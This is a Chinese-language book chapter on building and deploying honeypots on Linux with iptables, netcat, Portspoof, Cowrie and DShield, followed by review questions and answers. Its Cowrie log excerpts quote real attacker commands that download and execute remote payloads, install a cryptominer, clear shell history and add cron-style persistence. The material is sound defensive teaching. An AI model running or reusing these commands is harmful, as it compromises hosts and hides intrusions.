另一个完全不同的场景是用于研究。例如,您可以在公共互联网上放置一个蜜罐 Web 服务器,以监视各种攻击的趋势。这些趋势通常是安全社区的第一个指标,表明存在新的漏洞 - 我们将看到攻击者试图利用特定平台上的 Web 服务漏洞,这是我们以前从未见过的。或者您可能会看到针对 Web 或 SSH 服务器的身份验证服务的攻击,使用新帐户,这可能表明出现了新的恶意软件或者可能是某个新服务遭受了涉及其订户凭据的违规行为。因此,在这种情况下,我们不是在保护我们的网络,而是在监视可以用来保护每个人网络的新的敌对活动。

蜜罐并不仅限于网络服务。越来越常见的是以相同的方式使用数据和凭据。例如,您可能有一些具有“吸引人”名称的文件,当它们被打开时会触发警报 - 这可能表明您有内部攻击者(当然要记录 IP 地址和用户 ID)。或者您可能在系统中有“虚拟”帐户,如果尝试访问它们,则会触发警报 - 这些可能再次用于发现攻击者何时进入环境。或者您可能会对关键数据进行“水印”,以便如果它在您的环境之外被看到,您将知道您的组织已经遭到入侵。所有这些都利用了相同的思维方式 - 拥有一组高保真度的警报,当攻击者访问吸引人的服务器、帐户甚至吸引人的文件时触发。

现在您知道了什么是蜜罐服务器以及为什么您可能需要一个,让我们进一步探讨一下,在您的网络中您可能选择放置一个蜜罐。

部署场景和架构 - 我应该把蜜罐放在哪里?

在内部网络上使用蜜罐的一个很好的用途是简单地监视常常受到攻击的端口的连接请求。在典型组织的内部网络中,攻击者可能会在他们的第一组“让我们探索网络”的扫描中扫描一小部分端口。如果您看到对不正当托管该服务的服务器的任何这些连接请求,那就是一个非常高保真度的警报!这几乎可以肯定地表明存在恶意活动!

你可能要观察哪些端口?一个合理的起始列表可能包括:

当然,列表还在继续 - 非常常见的是根据您的环境中实际运行的服务来定制您的蜜罐服务。例如,制造工厂或公用事业设施可能会建立伪装为监控和数据采集SCADA)或工业控制系统ICS)服务的蜜罐。

从我们的列表中,如果您试图向攻击者模拟 SQL 服务器,您可能会让您的蜜罐监听 TCP 端口4451433。您不希望监听太多端口。例如,如果您的服务器监听了上表中的所有端口,那么这立即向您的攻击者传达了“这是一个蜜罐”的信息,因为这些端口几乎不会同时出现在单个生产主机上。这也告诉您的攻击者修改他们的攻击方式,因为现在他们知道您有蜜罐,并且可能正在监视蜜罐活动。

那么,我们应该把蜜罐放在哪里?过去,拥有蜜罐服务器更多是系统管理员对安全感兴趣的“运动”,他们会在互联网上放置 SSH 蜜罐,只是为了看看人们会做什么。这些日子已经过去了,现在直接放在互联网上的任何东西都会每天 - 或每小时或每分钟,取决于他们是什么类型的组织以及提供了什么服务 - 见到几次攻击。

在现代网络中我们在哪里看到蜜罐?您可能会在 DMZ 中放置一个。

图 14.1 – 在 DMZ 中的蜜罐

图 14.1 - DMZ 中的蜜罐

然而,这只是简单地检测互联网攻击,其用处有限 - 互联网攻击几乎是持续不断的,正如我们在[第十三章](B16336_13_Final_NM_ePub.xhtml#_idTextAnchor236)中讨论的那样,Linux 上的入侵防范系统。更常见的是,我们会在内部子网上看到蜜罐:

图 14.2 - 内部网络中的蜜罐

图 14.2 - 内部网络中的蜜罐

这种方法是几乎 100%准确地检测内部攻击的好方法。您在临时或定期基础上进行的任何内部扫描当然都会被检测到,但除此之外,这些蜜罐的所有检测应该都是合法的攻击,或者至少值得调查的活动。

公共互联网上的研究蜜罐允许收集各种攻击趋势。此外,这些通常还允许您将您的攻击概况与综合攻击数据进行比较。

图 14.3 - 公共互联网上的“研究”蜜罐

图 14.3 - 公共互联网上的“研究”蜜罐

现在我们已经了解了部署各种类型的蜜罐所涉及的各种架构,以及为什么我们可能希望或需要其中之一,那么在部署这些类型的“欺骗主机”时涉及哪些风险呢?

部署蜜罐的风险

众所周知,蜜罐的作用是检测攻击者,因此很可能会看到它们被成功攻击和 compromise。特别是最后一个例子,您将服务暴露给互联网是一个相当冒险的游戏。如果攻击者成功攻击了您的蜜罐,他们不仅可以在您的网络中立足,而且现在可以控制该蜜罐发送的警报,而您很可能依赖这些警报来检测攻击。也就是说,明智的做法是始终计划妥协,并随时准备好应对措施:

  • 如果您的蜜罐面向公共互联网,请将其放置在 DMZ 中,以确保该段对您其他生产主机没有访问权限。

  • 如果您的蜜罐位于内部网络中,您可能仍希望将其放置在 DMZ 中,并进行 NAT 条目,使其看起来像是在内部网络中。或者,私有 VLAN(PVLAN)也可以很好地适用于此位置。

  • 只允许蜜罐服务所需的出站活动。

  • 对蜜罐进行镜像,以便如果需要从头开始恢复它,您是从已知的良好镜像中进行恢复,而不是从头重新安装 Linux 等。利用虚拟化在这里可以帮助很大 - 恢复蜜罐服务器应该只需要几分钟或几秒钟。

  • 将所有蜜罐活动记录到一个中央位置。随着时间的推移,您可能会发现您可能会在各种情况下部署多个蜜罐。中央日志记录允许您配置中央警报,所有这些都是您的攻击者可能最终会妥协的主机。有关中央日志记录的方法和保护这些日志服务器,请参阅[第十二章](B16336_12_Final_NM_ePub.xhtml#_idTextAnchor216),使用 Linux 进行网络监控

  • 定期轮换蜜罐镜像 - 除了本地日志之外,蜜罐本身不应该有任何长期的值得注意的数据,因此如果您有良好的主机恢复机制,自动定期重新映像您的蜜罐是明智的选择。

在考虑架构和这个警告的基础上,让我们讨论一些常见的蜜罐类型,从基本的端口警报方法开始。

示例蜜罐

在本节中,我们将讨论构建和部署各种蜜罐解决方案。我们将介绍如何构建它们,您可能希望将它们放置在何处以及原因。我们将重点讨论以下内容:

  • 基本的“TCP 端口”蜜罐,我们会对攻击者的端口扫描和对我们各种服务的连接尝试进行警报。我们将讨论这些警报,没有开放端口(因此攻击者不知道他们触发了警报),以及作为实际开放端口服务,这将减慢攻击者的速度。

  • 预先构建的蜜罐应用程序,包括开源和商业应用。

  • 互联网风暴中心的 DShield 蜜罐,既分布式又基于互联网。

让我们开始吧,首先尝试几种不同的方法来建立“开放端口”蜜罐主机。

基本的端口警报蜜罐-iptables、netcat 和 portspoof

在 Linux 中,基本的端口连接请求很容易捕捉到,甚至不需要一个监听端口!因此,不仅可以在内部网络上捕捉到恶意主机,而且它们根本看不到任何开放的端口,因此无法得知你已经“拍摄”了它们。

为了做到这一点,我们将使用iptables来监视任何给定端口的连接请求,然后在发生时记录它们。这个命令将监视对端口8888/tcp的连接请求(SYN数据包):

$ sudo iptables -I INPUT -p tcp -m tcp --dport 8888 -m state --state NEW  -j LOG --log-level 1 --log-prefix "HONEYPOT - ALERT PORT 8888"

我们可以很容易地使用nmap(从远程机器)来测试这一点-请注意端口实际上是关闭的:

$ nmap -Pn -p8888 192.168.122.113
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-09 10:29 Eastern Daylight Time
Nmap scan report for 192.168.122.113
Host is up (0.00013s latency).
PORT     STATE  SERVICE
8888/tcp closed sun-answerbook
MAC Address: 00:0C:29:33:2D:05 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 5.06 seconds

现在我们可以检查日志:

$ cat /var/log/syslog | grep HONEYPOT
Jul  9 10:29:49 ubuntu kernel: [  112.839773] HONEYPOT - ALERT PORT 8888IN=ens33 OUT= MAC=00:0c:29:33:2d:05:3c:52:82:15:52:1b:08:00 SRC=192.168.122.201 DST=192.168.122.113 LEN=44 TOS=0x00 PREC=0x00 TTL=41 ID=42659 PROTO=TCP SPT=44764 DPT=8888 WINDOW=1024 RES=0x00 SYN URGP=0
robv@ubuntu:~$ cat /var/log/kern.log | grep HONEYPOT
Jul  9 10:29:49 ubuntu kernel: [  112.839773] HONEYPOT - ALERT PORT 8888IN=ens33 OUT= MAC=00:0c:29:33:2d:05:3c:52:82:15:52:1b:08:00 SRC=192.168.122.201 DST=192.168.122.113 LEN=44 TOS=0x00 PREC=0x00 TTL=41 ID=42659 PROTO=TCP SPT=44764 DPT=8888 WINDOW=1024 RES=0x00 SYN URGP=0

参考第十二章使用 Linux 进行网络监控,从这里开始很容易记录到远程 syslog 服务器并对任何出现HONEYPOT一词的情况进行警报。我们可以扩展这个模型,包括任意数量的有趣端口。

如果你想要打开端口并进行警报,你可以使用netcat来做到这一点-甚至可以通过添加横幅来“装饰”它:

#!/bin/bash
PORT=$1
i=1
HPD='/root/hport'
if [ ! -f $HPD/$PORT.txt ]; then
    echo $PORT >> $HPD/$PORT.txt
fi
BANNER='cat $HPD/$PORT.txt'
while true;
    do
    echo "................................." >> $HPD/$PORT.log;
    echo -e $BANNER | nc -l $PORT -n -v 1>> $HPD/$PORT.log 2>> $HPD/$PORT.log;
    echo "Connection attempt - Port: $PORT at" 'date';
    echo "Port Connect at:" 'date' >> $HPD/$PORT.log;
done

因为我们正在监听任意端口,所以你需要以 root 权限运行这个脚本。还要注意,如果你想要一个特定的横幅(例如,端口3389/tcp的 RDP 或1494/tcp的 ICA),你需要创建这些横幅文件,命令如下:

echo RDP > 3389.txt
The output as your attacker connects will look like:
# /bin/bash ./hport.sh 1433
Connection attempt - Port: 1433 at Thu 15 Jul 2021 03:04:32 PM EDT
Connection attempt - Port: 1433 at Thu 15 Jul 2021 03:04:37 PM EDT
Connection attempt - Port: 1433 at Thu 15 Jul 2021 03:04:42 PM EDT

日志文件将如下所示:

$ cat 1433.log
.................................
Listening on 0.0.0.0 1433
.................................
Listening on 0.0.0.0 1433
Connection received on 192.168.122.183 11375
Port Connect at: Thu 15 Jul 2021 03:04:32 PM EDT
.................................
Listening on 0.0.0.0 1433
Connection received on 192.168.122.183 11394
Port Connect at: Thu 15 Jul 2021 03:04:37 PM EDT
.................................
Listening on 0.0.0.0 1433
Connection received on 192.168.122.183 11411
Port Connect at: Thu 15 Jul 2021 03:04:42 PM EDT
.................................
Listening on 0.0.0.0 1433

更好的方法是使用一个由某人维护的实际软件包,可以监听多个端口。你可以在 Python 中快速编写监听特定端口的代码,然后为每个连接记录一个警报。或者你可以利用其他人已经完成的工作,也已经进行了调试,这样你就不必自己动手了!

Portspoof 就是这样一个应用程序-你可以在github.com/drk1wi/portspoof找到它。

Portspoof 使用的是“老派”Linux 安装;也就是说,将你的目录更改为portspoof下载目录,然后按顺序执行以下命令:

# git clone  https://github.com/drk1wi/portspoof
# cd portspoof
# Sudo ./configure
# Sudo Make
# Sudo Make install

这将把 Portspoof 安装到/usr/local/bin,配置文件在/usr/local/etc

查看/usr/local/etc/portspoof.conf,使用moreless-你会发现它有很好的注释,并且很容易修改以满足你的需求。

默认情况下,这个工具在安装后立即可以使用。首先,我们将使用iptables重定向我们想要监听的所有端口,并将它们指向4444/tcp端口,这是portspoof的默认端口。请注意,你需要sudo权限来执行这个iptables命令:

# iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80:90 -j REDIRECT --to-ports 4444

接下来,只需运行portspoof,使用默认的签名和配置:

$ portspoof -v -l /some/path/portspoof.log –c /usr/local/etc/portspoof.conf –s /usr/local/etc/portspoof_signatures

现在我们将扫描一些重定向的端口,一些是重定向的,一些不是-请注意我们正在使用banner.nse收集服务“横幅”,而portspoof已经为我们预先配置了一些横幅。

nmap -sT -p 78-82 192.168.122.113 --script banner
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-15 15:44 Eastern Daylight Time
Nmap scan report for 192.168.122.113
Host is up (0.00020s latency).
PORT   STATE    SERVICE
78/tcp filtered vettcp
79/tcp filtered finger
80/tcp open     http
| banner: HTTP/1.0 200 OK\x0D\x0AServer: Apache/IBM_Lotus_Domino_v.6.5.1\
|_x0D\x0A\x0D\x0A--<html>\x0D\x0A--<body><a href="user-UserID">\x0D\x0...
81/tcp open     hosts2-ns
| banner: <pre>\x0D\x0AIP Address: 08164412\x0D\x0AMAC Address: \x0D\x0AS
|_erver Time: o\x0D\x0AAuth result: Invalid user.\x0D\x0A</pre>
82/tcp open     xfer
| banner: HTTP/1.0 207 s\x0D\x0ADate: r\x0D\x0AServer: FreeBrowser/146987
|_099 (Win32)
MAC Address: 00:0C:29:33:2D:05 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds

回到portspoof屏幕,我们会看到以下内容:

$ portspoof -l ps.log -c ./portspoof.conf  -s ./portspoof_signatures
-> Using log file ps.log
-> Using user defined configuration file ./portspoof.conf
-> Using user defined signature file ./portspoof_signatures
Send to socket failed: Connection reset by peer
Send to socket failed: Connection reset by peer
Send to socket failed: Connection reset by peer
The logfile looks like this:
$ cat /some/path/ps.log
1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:80
1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:82
1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:81

你也可以从 syslog 中获取portspoof的条目。信息是一样的,但时间戳是以 ASCII 格式而不是“自纪元开始以来的秒数”格式:

$ cat /var/log/syslog | grep portspoof
Jul 15 15:48:02 ubuntu portspoof[26214]:  1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:80
Jul 15 15:48:02 ubuntu portspoof[26214]:  1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:82
Jul 15 15:48:02 ubuntu portspoof[26214]:  1626378481 # Service_probe # SIGNATURE_SEND # source_ip:192.168.122.183 # dst_port:81

最后,如果是时候关闭portspoof,你需要删除我们放入的 NAT 条目,将你的 Linux 主机恢复到对这些端口的原始处理方式。

$ sudo iptables -t nat -F

但是,如果我们想要更复杂的东西呢?我们当然可以使我们自己构建的蜜罐变得越来越复杂和逼真,以欺骗攻击者,或者我们可以购买更完整的产品,提供完整的报告和支持。

其他常见的蜜罐

在公共方面,您可以使用Cowrie (github.com/cowrie/cowrie),这是由Michel Oosterhof维护的 SSH 蜜罐。这可以配置成像一个真实的主机 - 当然,游戏的目标是浪费攻击者的时间,以便让您有时间将他们从您的网络中驱逐出去。在这个过程中,您可以了解到他们的技能水平,并且通常可以得知他们在攻击中实际试图达到的目标。

WebLabyrinth (github.com/mayhemiclabs/weblabyrinth) 由Ben Jackson提供了一个永无止境的网页系列,用作 Web 扫描器的“粘陷”。再次强调目标是一样的 - 浪费攻击者的时间,并在攻击过程中尽可能多地获取有关他们的情报。

Thinkst Canary (canary.tools/ and thinkst.com/) 是一种商业解决方案,在提供的细节和完整性方面非常彻底。事实上,该产品的详细程度允许您建立一个完整的“诱饵数据中心”或“诱饵工厂”。它不仅可以让您愚弄攻击者,而且往往欺骗到了他们认为他们实际上正在通过生产环境进行进展的程度。

让我们离开内部网络和相关的内部和 DMZ 蜜罐,看看面向研究的蜜罐。

分布/社区蜜罐 - 互联网风暴中心的 DShield 蜜罐项目

首先,从您的主机获取当前日期和时间。任何严重依赖日志的活动都需要准确的时间:

# date
Fri 16 Jul 2021 03:00:38 PM EDT

如果您的日期/时间不准确或配置不可靠,您将希望在开始之前修复它 - 这对于任何操作系统中的任何服务都是真实的。

现在,切换到一个安装目录,然后使用git下载应用程序。如果您没有git,请使用本书中一直使用的标准sudo apt-get install git来获取它。一旦安装了git,这个命令将在当前工作目录下创建一个dshield目录:

git clone https://github.com/DShield-ISC/dshield.git

接下来,运行install脚本:

cd dshield/bin
sudo ./install.sh

在这个过程中,会有几个输入屏幕。我们将在这里介绍一些关键的屏幕:

  1. 首先,我们有一个标准警告,即蜜罐日志当然会包含敏感信息,既来自您的环境,也来自攻击者!

图 14.4 - 关于敏感信息的警告

  1. 下一个安装屏幕似乎表明这是在 Raspberry Pi 平台上安装。不用担心,虽然这是这个防火墙的一个非常常见的平台,但它也可以安装在大多数常见的 Linux 发行版上。图 14.5 - 关于安装和支持的第二个警告

图 14.5 - 关于安装和支持的第二个警告

  1. 接下来,我们得到另一个警告,表明您收集的数据将成为互联网风暴中心的 DShield 项目的一部分。当它被合并到更大的数据集中时,您的数据会被匿名化,但如果您的组织没有准备好共享安全数据,那么这种类型的项目可能不适合您:图 14.6 - 关于数据共享的第三次安装警告

图 14.6 - 关于数据共享的第三次安装警告

  1. 您将被问及是否要启用自动更新。这里的默认设置是启用这些更新 - 只有在您有一个非常好的理由时才禁用它们。图 14.7 - 更新的安装选择

图 14.7 - 更新的安装选择

  1. 您将被要求输入您的电子邮件地址和 API 密钥。这用于数据提交过程。您可以通过登录isc.sans.edu网站并查看您的账户状态来获取 API 密钥:图 14.8 - 上传数据的凭据输入

图 14.8 - 上传数据的凭据输入

  1. 您还将被问及您希望蜜罐监听哪个接口。在这些情况下,通常只有一个接口 - 您绝对不希望您的蜜罐绕过防火墙控制!图 14.9 - 接口选择

图 14.9 - 接口选择

  1. 您将被要求输入 HTTPS 蜜罐的证书信息 - 如果您希望您的传感器对攻击者来说有些匿名性,您可能会选择在这些字段中输入虚假信息。在这个例子中,我们展示了大部分合法的信息。请注意,此时 HTTPS 蜜罐尚未实施,但正在规划阶段。图 14.10 - 证书信息

图 14.10 - 证书信息

  1. 您将被问及是否要安装证书颁发机构CA)。在大多数情况下,在这里选择是有意义的 - 这将在 HTTPS 服务上安装自签名证书。图 14.11 - 是否需要 CA?

图 14.11 - 是否需要 CA?

  1. 最终屏幕重新启动主机,并通知您实际的 SSH 服务将更改到不同的端口。

图 14.12 - 最终安装屏幕

图 14.12 - 最终安装屏幕

重启后,检查蜜罐的状态。请注意,传感器安装在/srv/dshield中:

$ sudo /srv/dshield/status.sh
[sudo] password for hp01:
#########
###
### DShield Sensor Configuration and Status Summary
###
#########
Current Time/Date: 2021-07-16 15:27:00
API Key configuration ok
Your software is up to date.
Honeypot Version: 87
###### Configuration Summary ######
E-mail : rob@coherentsecurity.com
API Key: 4BVqN8vIEDjWxZUMziiqfQ==
User-ID: 948537238
My Internal IP: 192.168.122.169
My External IP: 99.254.226.217
###### Are My Reports Received? ######
Last 404/Web Logs Received:
Last SSH/Telnet Log Received:
Last Firewall Log Received: 2014-03-05 05:35:02
###### Are the submit scripts running?
Looks like you have not run the firewall log submit script yet.
###### Checking various files
OK: /var/log/dshield.log
OK: /etc/cron.d/dshield
OK: /etc/dshield.ini
OK: /srv/cowrie/cowrie.cfg
OK: /etc/rsyslog.d/dshield.conf
OK: firewall rules
ERROR: webserver not exposed. check network firewall

此外,为了确保您的报告已提交,一两个小时后请检查isc.sans.edu/myreports.html(您需要登录)。

状态检查中显示的错误是此主机尚未连接到互联网 - 这将是我们的下一步。在我的情况下,我将把它放在一个 DMZ 中,只允许对端口22/tcp80/tcp443/tcp进行入站访问。做出这些更改后,我们的状态检查现在通过了:

###### Checking various files
OK: /var/log/dshield.log
OK: /etc/cron.d/dshield
OK: /etc/dshield.ini
OK: /srv/cowrie/cowrie.cfg
OK: /etc/rsyslog.d/dshield.conf
OK: firewall rules
OK: webserver exposed

当浏览器指向蜜罐的地址时,他们将看到这个:

图 14.13 - 从浏览器中看到的 ISC 网络蜜罐

图 14.13 - 从浏览器中看到的 ISC 网络蜜罐

在蜜罐服务器本身上,您可以看到各种登录会话,攻击者可以访问假的 SSH 和 Telnet 服务器。在/srv/cowrie/var/log/cowrie中,文件是cowrie.jsoncowrie.log(以及以前几天的日期版本):

$ pwd
/srv/cowrie/var/log/cowrie
$ ls
cowrie.json             cowrie.json.2021-07-18  cowrie.log.2021-07-17
cowrie.json.2021-07-16  cowrie.log              cowrie.log.2021-07-18
cowrie.json.2021-07-17  cowrie.log.2021-07-16

当然,JSON文件是为您编写代码而格式化的。例如,Python 脚本可能会获取这些信息并将其提供给 SIEM 或其他"下一阶段"的防御工具。

然而,文本文件很容易阅读 - 您可以使用moreless(Linux 中常见的两个文本查看应用程序)打开它。让我们看一些有趣的日志条目。

以下代码块显示了启动新会话 - 请注意日志条目中的协议和源 IP。在 SSH 会话中,您还将在日志中看到各种 SSH 加密参数:

2021-07-19T00:04:26.774752Z [cowrie.telnet.factory.HoneyPotTelnetFactory] New co
nnection: 27.213.102.95:40579 (192.168.126.20:2223) [session: 3077d7bc231f]
2021-07-19T04:04:20.916128Z [cowrie.telnet.factory.HoneyPotTelnetFactory] New co
nnection: 116.30.7.45:36673 (192.168.126.20:2223) [session: 18b3361c21c2]
2021-07-19T04:20:01.652509Z [cowrie.ssh.factory.CowrieSSHFactory] New connection
: 103.203.177.10:62236 (192.168.126.20:2222) [session: 5435625fd3c2]

我们还可以查找各种攻击者尝试运行的命令。在这些示例中,他们试图下载额外的 Linux 工具,因为蜜罐似乎缺少一些工具,或者可能是一些恶意软件以持续运行:

2021-07-19T02:31:55.443537Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,5,141.98.10.56] Command found: wget http://142.93.105.28/a
2021-07-17T11:44:11.929645Z [CowrieTelnetTransport,4,58.253.13.80] CMD: cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget http://58.253.13.80:60232/i; curl -O http://58.253.13.80:60232/i; /bin/busybox wget http://58.253.13.80:60232/i; chmod 777 i || (cp /bin/ls ii;cat i>ii;rm i;cp ii i;rm ii); ./i; echo -e '\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64'
2021-07-18T07:12:02.082679Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,33,209.141.53.60] executing command "b'cd /tmp || cd
 /var/run || cd /mnt || cd /root || cd /; wget http://205.185.126.121/8UsA.sh; curl -O http://205.185.126.121/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; tftp 205.185.126.121 -c get t8UsA.sh; chmod 777 t8UsA.sh; sh t8UsA.sh; tftp -r t8UsA2.sh -g 205.185.126.121; chmod 777 t8UsA2.sh; sh t8UsA2.sh; ftpget -v -u anonymous -p
anonymous -P 21 205.185.126.121 8UsA1.sh 8UsA1.sh; sh 8UsA1.sh; rm -rf 8UsA.sh t8UsA.sh t8UsA2.sh 8UsA1.sh; rm -rf *'"

请注意,第一个攻击者在最后发送了一个 ASCII 字符串,以十六进制表示为'\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64',这意味着"connected"。这可能是为了规避入侵防御系统。Base64 编码是另一种常见的规避技术,在蜜罐日志中也会看到。

第二个攻击者有一系列rm命令,用于在完成目标后清理他们的各种工作文件。

请注意,您在 SSH 日志中可能会看到的另一件事是语法错误。通常这些错误来自未经充分测试的脚本,但一旦会话更频繁地建立,您将看到真正的人在键盘上操作,因此您将从任何错误中得到一些关于他们的技能水平(或者他们所在时区的深夜程度)的指示。

在接下来的例子中,攻击者试图下载加密货币挖矿应用程序,将他们新受损的 Linux 主机添加到他们的加密货币挖矿“农场”中:

2021-07-19T02:31:55.439658Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,5,141.98.10.56] executing command "b'curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7 bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; wget http://142.93.105.28/a; chmod 777 a; ./a; rm -rfa ; history -c'"
2021-07-19T04:28:49.356339Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,9,142.93.97.193] executing command "b'curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7 bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; wget http://142.93.105.28/a; chmod 777 a; ./a; rm -rfa; history -c'"

请注意,他们都在他们的命令中添加了一个history –c附录,用于清除当前会话的交互式历史记录,以隐藏攻击者的活动。

在这个例子中,攻击者试图将恶意软件下载添加到 Linux 调度程序 cron 中,以便他们可以保持持久性 - 如果他们的恶意软件被终止或删除,它将在下一个计划任务到来时重新下载并重新安装:

2021-07-19T04:20:03.262591Z [SSHChannel session (0) on SSHService b'ssh-connection' on HoneyPotSSHTransport,4,103.203.177.10] executing command "b'/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/24eff58f-9d8a-43ae-96de-71c95d9e6805 mode=http dst-path=7wmp0b4s.rsc\\r\\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write'"

攻击者试图下载的各种文件都被收集在/srv/cowrie/var/lib/cowrie/downloads目录中。

您可以自定义 Cowrie 诱饵 - 您可能会进行的一些常见更改位于以下位置:

还有什么?只需在线检查您的 ISC 账户 - 您可能会感兴趣的链接位于我的账户下:

图 14.14 – ISC 诱饵 – 在线报告

图 14.14 – ISC 诱饵 – 在线报告

让我们稍微详细讨论一下这些选项:

在线,针对您的诱饵的 SSH 活动在 ISC 门户网站下的我的 SSH 报告中进行了总结:

图 14.15 – SSH 诱饵报告

图 14.15 – SSH 诱饵报告

目前,SSH 汇总数据的主要报告涉及使用的用户 ID 和密码:

图 14.16 – ISC SSH 报告 – 观察到的用户 ID 和密码

图 14.16 – ISC SSH 报告 – 观察到的用户 ID 和密码

所有活动都被记录下来,因此我们确实会不时地看到针对这些攻击数据的研究项目,并且各种报告随着时间的推移而得到完善。

Web 诱饵与 SSH 诱饵有类似的配置。各种攻击的检测在/srv/www/etc/signatures.xml文件中更新。这些定期从互联网风暴中心的中央服务器更新,所以虽然您可以自己进行本地编辑,但这些更改很可能会在下一次更新时被“覆盖”。

当然,对诱饵的 Web 活动也都被记录下来。本地日志存储在/srv/www/DB/webserver.sqlite数据库中(以 SQLite 格式)。本地日志也可以在/var/log/syslog中通过搜索webpy字符串找到。

在示例诱饵中检测到的各种事物包括以下攻击者,他正在寻找 HNAP 服务。HNAP 是一个经常受到攻击的协议,通常用于控制 ISP 调制解调器的车队(isc.sans.edu/diary/More+on+HNAP+-+What+is+it%2C+How+to+Use+it%2C+How+to+Find+it/17648),因此 HNAP 的妥协通常会导致大量设备的妥协:

Jul 19 06:03:08 hp01 webpy[5825]: 185.53.90.19 - - [19/Jul/2021 05:34:09] "POST /HNAP1/ HTTP/1.1" 200 –

同一个攻击者还在探测goform/webLogin。在这个例子中,他们正在测试常见 Linksys 路由器上的最新漏洞:

Jul 19 06:03:08 hp01 webpy[5825]: 185.53.90.19 - - [19/Jul/2021 05:34:09] "POST /goform/webLogin HTTP/1.1" 200 –

这个攻击者正在寻找boa网络服务器。这个网络服务器有一些已知的漏洞,并且被几个不同的互联网安全摄像头制造商使用(isc.sans.edu/diary/Pentesters+%28and+Attackers%29+Love+Internet+Connected+Security+Cameras%21/21231)。不幸的是,boa网络服务器项目已经被放弃,所以不会有修复措施:

Jul 19 07:48:01 hp01 webpy[700]: 144.126.212.121 - - [19/Jul/2021 07:28:35] "POST /boaform/admin/formLogin HTTP/1.1" 200 –

这些活动报告也会被记录在您的 ISC 门户下的我的 404 报告中 – 让我们看一些。这个攻击者正在寻找 Netgear 路由器,很可能是在寻找最近的任何漏洞:

图 14.17 – ISC 404 报告 – 攻击者正在寻找易受攻击的 Netgear 服务

图 14.17 – ISC 404 报告 – 攻击者正在寻找易受攻击的 Netgear 服务

这个攻击者正在寻找phpmyadmin,这是 MySQL 数据库的常见 Web 管理门户:

图 14.18 – ISC 404 报告 – 攻击者正在寻找易受攻击的 MySQL Web 门户

图 14.18 – ISC 404 报告 – 攻击者正在寻找易受攻击的 MySQL Web 门户

请注意,第一个例子没有用户代理字符串,因此这很可能是一个自动扫描程序。第二个例子有用户代理字符串,但老实说这很可能只是伪装;它很可能也是一个自动扫描程序,寻找公共漏洞以利用。

您现在应该对主要蜜罐类型有很好的理解,为什么您可能更喜欢其中一种而不是另一种,以及如何构建每一种蜜罐。

总结

这就结束了我们对蜜罐的讨论,蜜罐是一种基于网络的欺骗和延迟攻击者的方法,并在攻击进行时向防御者发送警报。您应该对主要类型的蜜罐有很好的理解,以及在作为防御者时可能最好部署每种蜜罐以实现您的目标,如何构建蜜罐以及如何保护它们。我希望您对这些方法的优势有很好的把握,并计划在您的网络中至少部署其中一些!

这也是本书的最后一章,恭喜您的毅力!我们已经讨论了在数据中心以各种方式部署 Linux,并重点介绍了这些方法如何帮助网络专业人员。在每个部分中,我们都试图涵盖如何保护每项服务,或者部署该服务的安全影响 – 通常两者兼顾。我希望本书已经说明了在您自己的网络中为一些或所有这些用途使用 Linux 的优势,并且您将能够继续选择一个发行版并开始构建!

祝您网络愉快(当然要使用 Linux)!

问题

最后,这里是一些问题列表,供您测试对本章材料的了解。您将在附录评估部分找到答案:

  1. portspoof的文档使用了一个例子,其中所有 65,535 个 TCP 端口都发送到安装的蜜罐。为什么这是一个坏主意?

  2. 您可能启用哪种端口组合来伪装为 Windows Active Directory (AD)域控制器?

进一步阅读

要了解更多信息,请查看以下资源:

www.blackhillsinfosec.com/how-to-use-portspoof-cyber-deception/

github.com/DShield-ISC/dshield

  • 斯特兰德,J.,阿萨多里安,P.,唐纳利,B.,罗比什,E.和加尔布雷斯,B.(2017)。攻击性对策:积极防御的艺术。CreateSpace 独立出版。

第十五章:评估

在接下来的页面中,我们将回顾本书各章节的所有练习问题,并提供正确答案。

第二章 - 基本 Linux 网络配置和操作 - 使用本地接口

  1. 默认网关是一个特殊路由,通常表示为0.0.0.0/0(在其他二进制中,这表示“所有网络”)。主机始终具有本地路由表,具有优先顺序。

直接连接到接口的任何网络都首先进行处理。这些被称为route命令的ip命令。

最后,引用了默认路由。如果发送的流量与连接的路由或路由表中的路由不匹配,则将其发送到默认网关中定义的 IP。通常,此设备将是一个特殊的路由器或防火墙设备,该设备通常具有本地表、静态定义的路由和默认网关(以及本书范围之外的其他几种路由机制)。

  1. 对于这个网络,子网掩码是255.255.255.0(24 位二进制)。广播地址是192.158.25.255

  2. 发送到广播地址的流量将发送到整个子网,并由该子网中的所有主机处理。其中一个例子是标准 ARP 请求(我们将在下一章中更深入地讨论)。

  3. 主机地址可以从192.168.25.1192.168.25.254范围。0地址是网络地址,因此不能用于主机。255地址是广播地址。

